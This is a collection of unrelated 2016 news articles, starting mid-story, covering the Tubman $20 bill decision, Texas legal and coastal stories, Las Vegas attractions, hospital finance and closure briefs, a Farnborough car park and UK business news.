Yet other women mobilized by the Girls' Lounge, a networking organization for female corporate leaders, demanded that a woman go on the $10 note, as Lew first proposed, because they did not want to wait years for a new $20 bill. Within the administration, Rosie Rios, who as treasurer of the United States oversees the Bureau of Engraving and Printing, was also pushing for a woman on the $10 bill.

But nothing so roiled the debate as the phenomenon of the musical "Hamilton."

Weighing in for his place on the $10 bill were well-to-do theater patrons and teenagers rapping to the soundtrack, as well as the show's creator and star, Lin-Manuel Miranda. When Lew and his wife caught a performance in August 2015, the Treasury secretary hinted to Miranda that Hamilton would stay. Just this week, the show won the Pulitzer Prize for drama.

By July, in fact, Lew already had decided to keep his long-ago predecessor on the $10 note and put a vignette of suffragists on the back, with Tubman scheduled for the $20 bill and changes to the $5 note as well.

"I had a kind of 'aha' moment where I said we're thinking too small," Lew said Wednesday.

He decided to redesign all three notes to accommodate the various views, and sooner. As for the choice of Tubman, he said that in the public comments he reviewed each night, "the pattern became clear that Harriet Tubman struck a chord with people in all parts of the country, of all ages."

BScott@BeaumontEnterprise.com Twitter.com/BrandonKScott
A federal magistrate judge on Thursday recommended dismissing two more defendants - the U.S. Attorney for the Eastern District of Texas and a former assistant federal prosecutor - from a conspiracy lawsuit brought by former Beaumont ISD contract electrician Calvin Walker and former employee Jessie Haynes.

Citing prosecutorial immunity and Walker's failure to state a claim, Magistrate Keith Giblin recommended that the lawsuit be dismissed with prejudice.

The suit accused U.S. Attorney Malcolm Bales, former assistant prosecutor Cory Crenshaw and more than 30 other defendants of conspiring to defame Walker.

Eight defendants, including The Beaumont Enterprise, already have been dismissed from the lawsuit, which was filed in July 2015.

Bales and Crenshaw were sued as individuals rather than prosecutors.

Giblin wrote in his report and recommendations that Bales and Crenshaw, who later became the Jefferson County District Attorney and is now a county court-at-law judge, acted within their official capacities as prosecutors and should be immune from the litigation.

Giblin noted Thursday that it was Walker's burden to prove that Bales and Crenshaw did not act within the scope of their employment.

"Crenshaw and Bales were at all times acting pursuant to their roles as prosecutors and officers of the court," Giblin wrote. "Plaintiffs have pleaded any facts to indicate that either ever stepped outside of that role."

Walker's complaint has been amended four times since the case was filed, yet Giblin still cites "pleading defects" in his claims, Giblin wrote.

For example, while Walker accused Bales of making defamatory statements, his complaint never spelled out those statements, Giblin wrote.

"Therefore, at this juncture, dismissal of the complaint for failure to state a claim is warranted," Giblin wrote.

Acting on Giblin's recommendation, U.S. District Judge Marcia Crone Walker in March threw out the lawsuit against The Enterprise and a former reporter on multiple grounds, including the Texas Citizens Participation Act, which is intended to prevent meritless lawsuits from interfering with protected speech.

In February, she dismissed six other defendants from the suit on similar grounds - Beaumont attorney Wayne Reaud, Beaumont City Councilman Mike Getz, local journalist Jerry Jordan and The Examiner newspaper, its publisher and a reporter.

More than 20 defendants, including the school district's board of managers, Bales and Crenshaw have asked to be dismissed from the suit.

BScott@BeaumontEnterprise.com Twitter.com/BrandonKScott
Six years ago today, BP's Deepwater Horizon drilling rig sank into the Gulf of Mexico after exploding two days earlier, killing 11 people, injuring 16 more and fouling the Gulf and its five coastal states for 87 days with almost 5 million barrels of oil.

On Thursday, the Texas General Land Office said it will go after $6.9 million of the $4.5 billion fine imposed on BP to pay for the removal of dangerous and dilapidated structures that dot the Texas coast near Bolivar Peninsula and Corpus Christi.

Those structures include hurricane debris, offshore platforms and plugged wells exposed by erosion, which could cause inland damage and hurt tourism, according to the land office.

The state plans to add $4.4 million in taxpayer money to the requested $6.9 million for the project.

"For the current phase, for which we submitted the application, the areas of concentration are Bolivar Peninsula and Corpus Christi Bay," said land office spokeswoman Brittany Eck in an email.

"Those on Bolivar are a combination of exposed wells, pipes and additional debris on the shoreline. The wells on Bolivar were properly plugged and cut decades ago, but due to erosion, have washed up on the beach and are a potential hazard."

At a glance Here is the division of money that BP eventually will pay into the RESTORE Act funds: 80 percent of civil fines paid after July 6, 2012, go to Gulf Coast Restoration Trust Fund, managed by the U.S. Treasury, and 20 percent to the Oil Spill Liability Trust Fund, overseen by the U.S. Coast Guard. Of the 80 percent for Gulf Coast restoration, the components are: - 35 percent for the Direct Component, to be divided equally among the five gulf states for restoration activities. - 30 percent for the Comprehensive Plan Component, directed according to the plan proposed by the Gulf Coast Ecosystem Restoration Council. - 30 percent for the Spill Impact Component, allocated to entities representing the Gulf states for restoration activities approved by the restoration council. - 5 percent to be divided equally between the National Oceanic and Atmospheric Administration's RESTORE Act Science Program and the Centers of Excellence Research Grants Program. See More Collapse

An example of the debris on Bolivar includes fishing piers near where Texas 124 meets Texas 87 in High Island that were destroyed by hurricanes Rita and Ike.

The land office, which manages the Texas coastline, said the debris and abandoned structures pose an ongoing hazard for recreational boaters and anglers, commercial fishing and others who navigate in and along the coastline.

Other "unauthorized" wells and platforms identified off the coast of Chambers and Jefferson counties will need to be removed in future phases, she said.

"Our team is working hard to inspect the entire coast, but this takes time and will continue to be a working inventory as structures are found and removed," said Eck.

Eck said the GLO plans to use another source of land office money to remove a submerged shrimp boat about 75 feet long that menaces navigation in Sabine Pass.

Jefferson County also is applying for grant money from the RESTORE Act for coastal protection efforts such as pumping sand from offshore to help rebuild Jefferson County beaches behind a new clay berm the county built from just west of Sabine Pass into Chambers County near the Texas 124 intersection with the eroded Texas 87.

A rebuilt coastline would protect the Intracoastal Waterway on which commercial barge traffic moves. It also would help to protect the massive industrial complexes in Port Arthur.

The county also is seeking money to help build siphons to run under the waterway to help restore the fresh water marshes along the coastline that also would absorb storm surges from tropical storms and hurricanes.

DWallach@BeaumontEnterprise.com Twitter.com/dwallach
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At any given moment, the Texas Alcoholic Beverage Commission regulates about 49,000 license holders. Agency officials are reminding the adults who hold those licenses that making alcohol available to minors, even during prom season, could result in major consequences.

Roughly 20 percent of TABC license holders have businesses in Houston and since Sept. 1, agents in that region have conducted 2,292 unannounced inspections involving minors. During those sting operations, a cooperating minor tries to purchase alcohol from a bar, restaurant or convenience store with an agent watching the interaction.

>> Click the gallery above to see the cities that have served minors the most so far this year, according to TABC violations.

"We're not showing up at minor parties writing tickets," Major Marc Decatur, regional director of Houston's TABC office said. "We look at the people we have issued a license to and we hold them accountable for the public's safety. We're more focused on changing the behavior of people who have the licenses while police focus on enforcement."

Perhaps it's working. The region, which once held an 89 percent compliance rate with licence holders now sits at 92 percent as of April 14.

RELATED: See recent Texas Alcoholic Beverage Commission violations across Harris County

Decatur credits much of that to the region committing resources to stings that focus on age-related violations, intoxication issues, hours of operation, narcotics, breaches of peace and human trafficking.

"Because of our concentrated efforts and saturation of resources in these areas, I believe it's helped increase our compliance rate," Decatur said.

RELATED: These are the most popular bars in Texas

In the TABC offices in North Texas, officials doubled the number of undercover operations in the Dallas area during the prom season.

"These occasions should be some of the happiest moments in a young person's life," North Texas regional supervisor Victor Kuykendoll said in a news release sent to the Dallas Morning News.

Who's had TABC violations involving minors in your area this year? Search the database below

"Adding alcohol to the equation greatly increases the risk of serious injury or death through incidents such as vehicle accidents or assault.

Making alcohol available to a minor is a class A misdemeanor, punishable by a fine of up to $4,000, up to a year in jail, or both. Additionally, the violator's driver's license could be suspended for 180 days upon conviction. Selling alcohol to a minor carries the same punishment.
So you're going to Vegas! Not your first choice, you say. You're tagging along. Well, there's the exciting casinos to visit, and, what's that? You don't gamble? Hmm. Well, how about a show? There's probably a Cirque du Soleil in your hotel.

You don't like shows? Or poolside lounging? Don't worry. It's not all gambling, gaping and groping in Vegas. Here are four of the city's most unusual points of interest.



THE PINBALL HALL OF FAME

In a nondescript building on a road by the airport, there's a world of binging, bonging, clacking examples of coin-operated joy. Four hundred pinball machines from every era are here, most in working condition. Stubby-flipper old tables from the '60s with groovy designs, snappy machines of the '70s complete with Elton John in platform shoes, and the manic and often incomprehensible tables of today. Looking for your college pinball machine? They probably have it, next to the one you played at the small-town ice cream parlor in the town your family visited each summer.



Note: You don't have to play to appreciate the place. It's not quite right to call this a museum, since you can play the exhibits. But it is a museum, devoted to a medium that doesn't get the appreciation it deserves: stylized pop-art paintings that range from traditional to psychedelic. It's like looking at panels of comic books from a parallel dimension  everything is a bit off, a bit peculiar, the postures wrong, the faces frozen in eternal unnerving glee.



Cost: Admission is free.



Location: 1610 E. Tropicana (pinballmuseum.org).



THE FREMONT EXPERIENCE

In old downtown Vegas, the bulbous man is not entirely naked. His groinal parts are contained in a piece of fabric the size of a toddler's sock. He's here for your Outrageous Tourist Selfies. Drop a buck in the pot, pose with the naked dude. Whoo! Vegas!



Overhead: A vast canopy shields the street from the sun. In a few hours it will explode with light, and all the neon signs that line the street will come alive. For now, in the afternoon, the lights are off, a strange, weird rebuke to the always-on Strip. Fremont doesn't particularly care about the glitz and the ballyhoo. It's an experience no matter when you show up. Just look down there: an enormous slot machine three stories high. Every few minutes people fly out of it on ziplines, amateur angels screaming fear and delight as they soar over Mostly Naked Dude and the rest of the impromptu crowd. The casinos are open, of course; Binion's, where you can be photographed with a million dollars. The Four Queens, the Golden Nugget  classic names over smoky dark caves where the penny-slot crowd hunches around burbling machines.



At the end of the block, the Heart Attack Grill: a scale to weigh yourself, in case you want to claim the free lethal meat given to anyone who tops 350 pounds. The Neontropolis, an utterly, completely failed retail complex with a few classic signs and three floors of boarded-up stores. Old Vegas history: one of the first movie houses, now selling Indian souvenirs. The website made it sound like so much fun, and perhaps it is, if it's midnight, and you're young, and the classic signage makes you think you've connected with some elemental Classic Vegas spirit, and your idea of a rockin' good time is drinking on the street and smoking indoors.



There's a burlesque museum, devoted to the clothes whose prime purpose was their removal, and the Mob Museum, where you can kill a few hours and not worry about burying them in the desert.



Cost: Admission is free.



Location: A five-block stretch of historic downtown Las Vegas on Fremont Street.



THE NEON MUSEUM

Let's say you went back to the Fremont experience to watch the lights pop on. They were impressive, and they whetted your appetite for more, so you headed up Las Vegas Boulevard, drawn by some signs in the distance. A classic motel sign: ELVIS SLEPT HERE. But there is no motel. A block down, a fine neon sign for Quality Cleaners. But there is no such store. Under the highway, past the hotels where rooms rent for a day or a month; a neon sign for the Bow and Arrow motel. There is no motel. In the distance, raised on a pole: a shoe, covered in light bulbs. The sign of the old Silver Slipper. But there is no casino here.



There's something else, our final stop.



The old signs on the Boulevard are silent hints that something unusual resides up the street: a repository of rescued signage from bygone Vegas. The Boneyard of the Neon Museum is where the gaudy and the gorgeous went after their time was done, after their style was gone. Vegas chews up its history with little regard; it's all about the churn, the turnover, the new, the exciting.



But some signs were saved, and the Boneyard, the open-air display case of the nonprofit Neon Museum has incredible hunks of history. You come not to bury Caesar's Palace, but to praise it. No, you can't wander around and look and touch the glass is fragile, the metal has rusted. Your guide will explain where the signs were, what they meant (the Moulin Rouge: First integrated casino. That simple chicken-steaks-cocktail sign? Longest-running eatery in town) and why they matter. The signs were the architecture of Vegas, glorious, kinetic, manic signs, wrapped around the storefronts, leaping up into the sky.



It's not a big lot, but the tour takes an hour. Afterward you can buy something in the La Concha motel lobby, an exuberant example of Googie architecture rescued from the wrecking ball and reinstalled as the museum's HQ. On the way back to the hotel you might notice that neon is less important than it used to be. The new signs are LED canvases, blank slates, infinitely programmable. The old signs did one thing, and did it with panache.



When they turn off the new lights, they're empty. The old signs still say something, even if they cut the juice. By the Flamingo second-floor walkway there's the classic neon display, red and yellow. It's decades of history in an image known the world 'round. It'll stand forever.



Until it doesn't. You might notice things have changed the next time you come to town and yes, you'll be back. Everyone's relieved to leave and everyone usually says "Why not?" when they have the chance to return.



Cost: General admission day tours start at $18 for adults.



Location: 770 Las Vegas Blvd North (neonmuseum.org).



NATIONAL ATOMIC TESTING MUSEUM

What better way to spend a broiling afternoon than studying the history of thermonuclear detonation? This Smithsonian offshoot collects the lore and mementos of the days when mushroom clouds were visible from the casino rooftops, and the days when underground testing rattled the ice in a gambler's drink. They blew up an ungodly number of bombs in Nevada, and the lore and leftovers of this thunderous era is all here, meticulously explained. Pose by an enormous H-bomb!



Back away with newfound worries from the clicking Geiger counters! See the elements of bomb-test culture you never imagined existed  the patches, the jokey certificates of achievement, the varying styles of dosimeter that told you if, and when, your goose was nuked.



The highlight: Ground Zero Theater. It's one thing to look at inscrutable scientific artifacts and pictures of guys standing around the desert pointing at things. It's another to feel the power of an atomic detonation. The theater is a raw concrete bunker with three rows of benches. The countdown begins; there's a blinding flash on the screen, and then gen-u-wine Sensurround rumbles your buttocks while blasts of air buffet your face.



The rest of the film interviews the scientists who worked on testing  a short and respectful account of a culture outsiders never saw. If that doesn't slake your thirst for small documentaries made up of faded film of guys in 1970s hairstyles, the Grain Silo Theater has two short films on aspects of the nuclear program few people know about, the successful Nuclear Mars Rocket Engine, among others.

It's not all Instruments of Destruction, you get a sense of the impressive technical accomplishments the nuclear program required. You also get the sense that the end of testing meant the end of the weapons, and this is like a Moon shot museum. If only.



Cost: $22 for adults.



Location: 755 E. Flamingo Road (nationalatomictestingmuseum.org).



(c)2016 Star Tribune (Minneapolis)

Visit the Star Tribune (Minneapolis) at www.startribune.com

Distributed by Tribune Content Agency, LLC.




A new article in the Harvard Business Review examines predictive analytics in healthcare and how big data is making an impact.

Electronic health records gather massive amounts of data for many facets of care. However, unless the data is applied appropriately, it won't improve patient care. Here are five key thoughts from the article on optimizing predictive analytics:

1. Be specific about which clinical decisions data will inform when developing an algorithm. Just finding the readmission rate for a procedure isn't helpful; couple the predictive factors in readmission rates with patient education and follow-up support for at-risk populations.

2. Gather as much data as possible for greater accuracy when developing algorithms. The larger data sample will include more potential clinical applications and allow providers to become more specific with patient treatment. In the example discussed, VHA invested in an integrated EHR and data repository that equaled 5 percent of its total health spending, but experienced a return-on-investment more than $3 billion through improved quality.

3. More specifically targeted data can help reduce unnecessary interventions and waste. When uncertainty exists, clinicians will treat more patients with preventative measures. However, if data narrows down the truly at-risk patients, fewer will be exposed to unnecessary procedures. For example, 11 percent of newborns receive antibiotics while less than 0.05 percent have confirmed infections. Kaiser Permanente of Northern California updated protocol to become more specific and found 250,000 annually didn't receive unnecessary antibiotics that would have under the old protocol.

4. Don't overload clinicians with unimportant data; they might start to ignore it. The data that doesn't fit into the clinical workflow doesn't need to be in front of them. The decision-support tool AWARE can help practicing physicians spot the right data for their patients.

5. The sophisticated technology in predictive algorithms won't make a difference if health systems don't apply the algorithms correctly to improve value. Effective application can help health systems reduce spending and improve outcomes because physicians will provide targeted interventions to the patients "who need them most."

"In this next era of value-based care, health systems must critically think about the clinical situations where enhanced analytics can be useful, help providers use them routinely in patient care and develop strategies to evaluate the clinical impact of algorithms," wrote the study authors Ravi B. Parikh, MD; Said Obermeyer, MD; and David Westfall Bates, MD.
The following hospitals announced plans to expand, upgrade or renovate their facilities in the last week.

1. St. Luke's Warren campus opens $5M expansion

Bethlehem, Pa.-based St. Luke's University Health Network is unveiling a $5 million, 24-bed expansion at its Warren campus, located in Phillipsburg, N.J.

2. Sky Lakes Medical Center, Oregon Health & Science University to build $50M clinic

Klamath Falls, Ore.-based Sky Lakes Medical Center and Portland-based Oregon Health & Science University are joining forces to build a new $50 million clinical and educational medical building in Klamath Falls, Ore., according to the Portland Business Journal.

3. HCA Midwest Health to invest $93M in local hospitals

Kansas City, Mo.-based HCA Midwest Health received a $93 million investment from Nashville, Tenn.-based Hospital Corporation of America, the hospital system's operating company. The new financing will support three HCA Midwest Health hospitals' expansion plans.

4. Brooklyn Hospital Center to sell medical building for over $100M

The Brooklyn (N.Y.) Hospital Center plans to close on a deal to sell a 21-story medical building on its campus for more than $100 million, according to Crain's New York Business.

5. Multi-million dollar donation will support East Tennessee Children's Hospital's $75M expansion

Knoxville-based East Tennessee Children's Hospital received a multi-million dollar donation from a local corporation, and plans to use the funds to support its ongoing $75 million expansion project, according to a Local 8 Now report.

6. Summa Health System plans to add $350M in upgrades, expansion work

Akron, Ohio-based Summa Health System has revealed plans to inject $350 million into its facilities, including the construction of a new six-story tower on its main campus and improvements throughout other medical buildings and offices, according to an Ohio.com report.

7. $200M expansion at CHA Hollywood Presbyterian Medical Center will double size of ED

Los Angeles-based CHA Hollywood Presbyterian Medical Center unveiled plans to modernize its more than 100-year-old facility to better serve the Hollywood community and surrounding areas. The expansion will cost an estimated $200 million, according to the Commercial Property Executive.

8. SD surgical hospital to remodel after busy year

Sioux Falls (S.D.) Specialty Hospital has had one of its busiest years yet. Following a significant increase in cases, the hospital is planning some remodeling.
The following hospital and health system rating and outlook changes and affirmations took place in the last week, starting with the most recent.

1. Moody's affirms Scripps Health's 'Aa3' rating

Moody's Investors Service affirmed San Diego-based Scripps Health's "Aa3" underlying and long-term ratings, in addition to the "Aa3/VMIG 1" rating on its 2012 variable rate demand bonds.

2. Moody's assigns 'A2' rating to Mary Greeley Medical Center's bonds

Moody's Investors Service assigned an "A2" rating to Ames, Iowa-based Mary Greeley Medical Center's proposed $66 million of series 2016 fixed rate revenue bonds.

3. Moody's downgrades Northeast Ohio Medical University's rating to 'Baa2'

Moody's Investors Service downgraded the rating on Rootstown-based Northeast Ohio Medical University's series 2010 and 2011 general receipts bonds to "Baa2," affecting approximately $40 million.

4. S&P lowers Catholic Health Initiatives' rating to 'A-'

Standard & Poor's Ratings Services lowered its long-term and underlying ratings to "A-" from "A" on Englewood, Colo.-based Catholic Health Initiatives' debt.

5. Fitch revises Ochsner Clinic Foundation's outlook to stable

Fitch Ratings revised Ochsner Clinic Foundation's outlook to stable from positive and assigned an "A-" rating to its $150 million of series 2016 refunding revenue bonds.

6. S&P revises Peninsula Regional Medical Center's outlook to stable

Standard & Poor's Ratings Services revised the outlook to stable from positive and affirmed the "A" rating on Salisbury, Md.-based Peninsula Regional Medical Center's series 2015 bonds.

7. S&P assigns 'A+' rating to Saint Luke's Health System's bonds

Standard & Poor's Ratings Services assigned an "A+" rating to Kansas City, Mo.-based Saint Luke's Health System's series 2016 revenue bonds.

8. S&P lowers Baptist Health South Florida's rating to 'AA-'

Standard & Poor's Ratings Services lowered its long-term rating to "AA-" from "AA" on Coral Gables-based Baptist Health South Florida's $250 million of series 2011 taxable notes.

9. Moody's upgrades Blessing Hospital's bond ratings to 'A2'

Moody's Investors Service upgraded the rating to "A2" from "A3" on Quincy, Ill.-based BlessingHospital's $27 million of outstanding debt.

10. S&P assigns 'A-' rating to CareGroup's bonds

Standard & Poor's Ratings Services assigned an "A-" long-term rating to Boston-based CareGroup's series 2016 revenue bonds, affecting $321 million.

11. Fitch assigns 'A+' rating to CentraCare's bonds

Fitch Ratings assigned an "A+" rating to St. Cloud, Minn.-based CentraCare Health System's series 2016A revenue refunding bonds, affecting $203 million.

12. Fitch affirms Einstein Healthcare Network's 'BBB' rating

Fitch Ratings affirmed the "BBB" rating on Philadelphia-based Einstein Healthcare Network's $478.8 million of series 2015A revenue bonds.

13. Moody's assigns 'A1' rating to Saint Luke's Health System's bonds

Moody's Investors Service assigned an "A1" rating to Kansas City, Mo.-based Saint Luke's Health System's proposed series 2016 fixed rate revenue bonds, affecting $260 million.

14. Moody's rates MercyRockford Health System's bonds, downgrades Mercy Alliance's rating

Moody's Investors Service assigned an "A3" rating to Rockford, Ill.-based MercyRockford Health System's proposed series 2016 bonds; affirmed MRHS' "A3" issuer rating; and downgraded Janesville, Wis.-based Mercy Alliance's rating to "A3" from "A2."

15. Moody's affirms Palmetto Health's 'Baa1' rating

Moody's Investors Service affirmed Columbia, S.C.-based Palmetto Health's "Baa1" rating, affecting $484 million of debt.

16. Moody's assigns 'Aa2/NR' to Mayo Clinic's bonds

Moody's Investors Service assigned an "Aa2/NR" rating to Rochester, Minn.-based Mayo Clinic's proposed $125 million of series 2016 bonds issued by the City of Jacksonville (Fla.) and $75 million of series 2016 bonds issued by the City of Rochester (Minn.).

17. Moody's assigns 'Aa2' and 'Aa2/VMIG 1' ratings to Inova Health System's bonds

Moody's Investors Service assigned an "A2" rating to Falls Church, Va.-based Inova Health System's series 2016A and 2016B bonds, as well as an "Aa2/VMIG 1" rating to Inova's series 2016C bonds.

18. Moody's assigns 'A2' rating to Southern Ohio Medical Center's bonds

Moody's Investors Service assigned an "A2" rating to Portsmouth-based Southern Ohio Medical Center's proposed series 2016 fixed rate bonds, affecting $124 million.

19. S&P raises Kettering Health Network's bond rating to 'A+'

Standard & Poor's Ratings Services raised its rating from "A" to "A+" on bonds issued on behalf of Dayton, Ohio-based Kettering Health Network.
Colusa (Calif.) Regional Medical Center will close at noon Friday, as it is unable to continue to operate in its current financial condition.

"We have established a plan for the transfer of the healthcare of our patients to other neighboring medical providers and the orderly shutdown of our business to assure continued patient care quality and safety," said Colusa Regional Interim CEO and Chief Restructuring Officer Wayne Allen.

The 48-bed hospital will cease all operations, including inpatient, outpatient and emergency medical services.

Hospital officials expect approximately 200 workers to be affected by the closure.

"The hospital's board of directors acknowledges its appreciation to all the employees and the medical staff who have provided years and years of caring and compassionate care to our patients. This is a very sad time for our hospital family," said Mr. Allen.

In late March, officials announced plans to close Colusa Regional and its three rural health clinics. However, Roseville, Calif.-based Adventist Health, a 17-hospital system, entered an agreement Wednesday with Colusa Regional to acquire the three clinics.

More articles on hospital closures:

A state-by-state breakdown of 71 rural hospital closures

4 Louisiana safety-net hospitals at risk of closure

MemorialCare sues over hospital closure, asks for $42.5M in damages
A dose of feel-good to kick off the weekend.

Jonathan Chan needed a last chance.

He'd lived with chronic kidney disease for more than three decades, and his two previous kidney transplants had failed. Although he'd been on the kidney transplant list for seven years, his unique blood type made his odds of finding a match less than 1 percent.

His mother's physician, Ester Kwok, MD  a Stanford (Calif.) Medicine affiliated physician through University HealthCare Alliance at Kwok Pediatrics and Internal Medicine  didn't believe in organ donation due to her cultural and religious convictions. But after learning Mr. Chan and one of her staff members needed new kidneys, she reconsidered and joined the National Kidney Registry.

Although her staff member was received a kidney match, Dr. Kwok found out she was not a match for Mr. Chan. Still, she joined the national registry for chain donation. "I had faith that if it was meant for me to donate, the impossible would become possible," she said.

Sure enough, three years later, she received a phone call. Through a live donor match and a 12-person donation chain, Dr. Kwok would be able to help Mr. Chan get a new kidney. Although Dr. Kwok did not donate her kidney directly to Mr. Chan, her kidney went to a different kidney patient whose originally intended donor was not an exact match. A similar cycle continued  through 12 individuals, in this case  and Mr. Chan was able to receive a new kidney.

Both Dr. Kwok and Mr. Chan underwent surgery at Stanford (Calif.) Health Care in June 2015.

More from the blog:

'Eye candy' and 'booth girls' at HIMSS: For women in tech, conferences can add insult to injury

On the side of the light: Vanderbilt medical staff arranges private screening of 'Star Wars' for cancer patient

Friday Feel Good: How one retired engineer and his buddy are making a difference at an Alabama hospital
The following healthcare layoffs were reported by Becker's Hospital Review since April 1. They are listed below, beginning with the most recent.

1. Connecticut Gov. Dannel P. Malloy's administration ordered 89 layoffs at University of Connecticut Health Center in Farmington as part of an expected 2,000 or more layoffs to help balance the state budget. The layoffs primarily involve employees who work with the Department of Correction's inmate care program.

2. A restructuring of Dartmouth College's Geisel School of Medicine, based in Hanover, N.H., will eliminate about 30 jobs, but also include job offers to hundreds of Geisel employees who will be losing their places on the college payroll. Here are six things to know about the restructuring.

3. A number of employees will be laid off at ValleyCare Health System of Ohio's Northside Medical Center, based in Youngstown, Ohio. Here are four things to know about the layoffs.

4. The Regional Medical Center in Orangeburg, S.C., will cut jobs and leave vacant positions unfilled. Here are five things to know about the layoffs.

More articles on leadership and management:

Florida governor appoints new Broward Health board member: 5 things to know

The corner office: Intermountain Healthcare's Dr. Charles Sorenson on making a meaningful impact

10 must-read biographies for leaders
Stay in the know with Becker's Hospital Review's weekly roundup of the nation's biggest healthcare news. Here's what you need to know this week.

1. Zubik v. Burwell case remains divided

Groups on both sides of the Zubik v. Burwell Supreme Court case about the Affordable Care Act's contraceptive mandate filed their final round of briefs April 20, but a compromise still looks distant, according to SCOTUSblog.

2. Express Scripts denies claims, countersues Anthem

Express Scripts, the nation's largest prescription drug benefits manager, countersued health insurer Anthem and denied allegations that it overcharged Anthem for prescription medications, according to The Wall Street Journal.

3. Epic awarded $940M in trade secrets lawsuit, Tata to appeal decision

A Wisconsin jury ruled in favor of Verona, Wis.-based Epic in a lawsuit alleging Mumbai, India-based Tata Consultancy Services stole trade secrets and confidential information to support its competing healthcare software product, reports Reuters.

4. CMS' 2017 IPPS proposed rule: 10 points to know

CMS released its fiscal year 2017 Medicare Inpatient Prospective Payment System proposed rule, which does away with the two-midnight rule's inpatient pay cuts. The 1,579-page rule also includes proposed rates for long-term care hospitals. Overall, the proposed rule would apply to about 3,330 acute care hospitals and 430 long-term care hospitals for discharges occurring on or after Oct. 1.

5. UnitedHealth to exit most ACA exchanges in 2017, remain in only 'handful' of states

UnitedHealth Group reported better-than-expected revenue in the first quarter of 2016, despite losses from participating in the Affordable Care Act exchanges. To limit its financial exposure in 2017, the insurer will exit all but a "handful" of ACA marketplaces next year.

6. Theranos faces criminal investigation

Did Palo Alto, Calif.-based blood testing startup Theranos mislead investors and government officials? The U.S. Attorney's Office and the Securities and Exchange Commission are currently investigating, particularly to find out if the company misrepresented the readiness of its technologies and operations, according to The Wall Street Journal.

7. California hospital will close today, leaving 200 without jobs

Colusa (Calif.) Regional Medical Center will close at noon April 22, as it is unable to continue to operate in its current financial condition. Hospital officials expect approximately 200 workers to be affected by the closure.

8. Clinic CEO, physician convicted in massive drug trafficking scheme in Kentucky

A federal jury convicted the president and CEO of a Hazard, Ky.-based medical clinic and her physician husband of more than 150 charges, including illegal distribution of drugs and healthcare fraud.
Here are eight spine surgeons and neurosurgeons in the news this past week.

Neurosurgeon John Wanebo, MD, was featured on ABC 15's Sonoran Living to discuss how Phoenix-based Barrow Brain and Spine's team of neurosurgeons utilize technology to treat patients with complex spine and brain conditions.

Stefan Parent, MD, PhD, of Canada-based CHU Sainte-Justine, and his team developed an assessment tool to analyze adolescent past and residual spinal growth.

CBS featured Ashraf Hanna, MD, and Scott Webb, DO, both of Clearwater-based Florida Spine Institute, speaking on artificial disc replacement.

The International Society for the Advancement of Spine Surgery named Hee Kit Wong, MD, PhD, president.

Aaron G. Filler, MD, PhD, JD, president and counsel to the Society for Brain Mapping & Therapeutics, called on the government to further commit to brain mapping science.

The Expert Network added neurosurgeon Alexios G. Carayannopoulos, DO, of Providence-based Rhode Island Hospital.

Jacksonville, Fla.-based Mayo Clinic appointed Alfredo Quinones-Hinojosa, MD, the William J. and Charles H. Mayo Professor and neurological surgery chair.
Baffled residents have spoken of their frustration after a roof-top car park was built which can only be accessed by foot.

The "secret" car park was created on the roof of a gym five years ago as part of a phased development in the town centre of Farnborough, Hampshire, which suffers from a lack of parking spaces.

But the next stage of the development, which would include a bridge to access the car park, is still to be started, with the developers, St Modwen, admitting there is still no timescale for the project to get under way.

The 80-space car park, which was meant for residents living in the development and not as a public pay-and-display, has been built above The Gym in Queensmead.

Gareth Lyon, Conservative councillor for the town centre area on Rushmoor Borough Council and member of its development management committee, said: "We have a massive problem with car parking in Farnborough. To have had this huge car park lying empty defies belief. It is ridiculous."

A spokesman for St Modwen said: "Farnborough town centre is a long-term regeneration project where St Modwen has already delivered 185,000 sq ft of retail, leisure and hotel space, including a new Sainsbury's, Travelodge, JD Wetherspoons and New Look.

"Some 70 apartments have been built with 35% affordable. A new Vue cinema is now open with new restaurants also opening.

"The car park above The Gym was completed as part of the build contract for the Sainsbury's block. It will be a private car park for residents only, for which the access has always been designed in the overall regeneration plan to be via a bridge link from a new block that will be in a subsequent phase of development."

A Rushmoor Borough Council spokesman said: "This is a privately owned car park for residents and so we feel it is more appropriate for the owners, St Modwen, to comment rather than us."

The local authority's chief executive, Andrew Lloyd, told The Independent that St Modwen had decided not to proceed with the development during the economic downturn.

He said: "It was right not to proceed until the retail units of the first phase had been let. It wasn't desirable to proceed with void properties in the middle of the recession.

"We are pleased the development survived the recession. We are absolutely confident it will bring a major boost to Farnborough. And town centre car-parking space is not a major issue in Farnborough because we have a lot of it."

Clementine Wallop posted on Twitter: "Everything you needed to know about 'joined up thinking' in Britain."

Eleanor Mia posted with crying emojis: "My old gym has a 'secret' car park on top of it, oh Farnborough."
Belfast Telegraph Businessperson of the Year Brian McConville (centre), group chairman of MJM Group, with the groups chief executive Jarlath Quinn and group executive assistant Naoimh McConville

Brian McConville, the chairman of Newry fit-out company MJM Group, has been named Businessperson of the Year in the Belfast Telegraph Business Awards, in association with British Airways.

Mr McConville was unveiled as winner of the sought-after title at last night's ceremony in the Culloden Hotel.

He set up his company around 33 years ago, growing it into a major business renowned for the refurbishment of cruise liners, ferries, yachts and buildings.

Two years ago MJM Group was in the headlines for buying over the assets of rival fit-out company Mivan after the latter went into administration.

The firm has said it expects turnover in its marine arm to reach 50m in the next year.

Economist John Simpson, the chairman of the judges of the Belfast Telegraph Business Awards, said Mr McConville had strongly impressed the panel.

"We've given him the award of Businessperson of the Year because of the extensive ambition he has shown, particularly in taking over Mivan's assets," he said. "He has extended his business in a way that has been terribly impressive."

The company also had cause for celebration earlier this year when it successfully bid for the 600-acre former military site at Shackleton Barracks in Ballykelly, Co Londonderry. And the firm has hinted at ambitious plans for the site.

Speaking at the time, Mr McConville said: "It is my vision that at Ballykelly there will be at least 1,000 jobs on this site once it is fully developed, as the opportunities that it will present are enormous."

The company has said it plans to develop facilities to refurbish and fit out private jets on the site, and have a specialist fabrication business on site.

MJM Marine has completed many prestigious fit-outs. In 2014 it carried out a multi-million project on Royal Caribbean's Oasis of the Seas, one of the world's biggest cruise ships.

It has also carried out work for Carnival Cruise Lines, Residensea's The World, P&O Cruises and Star Cruises.
Britain's biggest care homes group Four Seasons is poised to report a massive fall in earnings of up to 34% as the company's creditors prepare to begin negotiations over a potential debt for equity swap.

It is understood that annual earnings at Four Seasons, owned by private equity giant Terra Firma, could plunge by as much as 34% to 42 million when it releases results next week.

The company, w hich houses 20,000 elderly residents across 450 homes, has been stung by a cut in local authority fees and rising costs, and faces a further hit with the introduction of the National Living Wage.

To compound matters, Four Seasons is struggling under 525 million of debt and faces interest payments of more than 50 million a year.

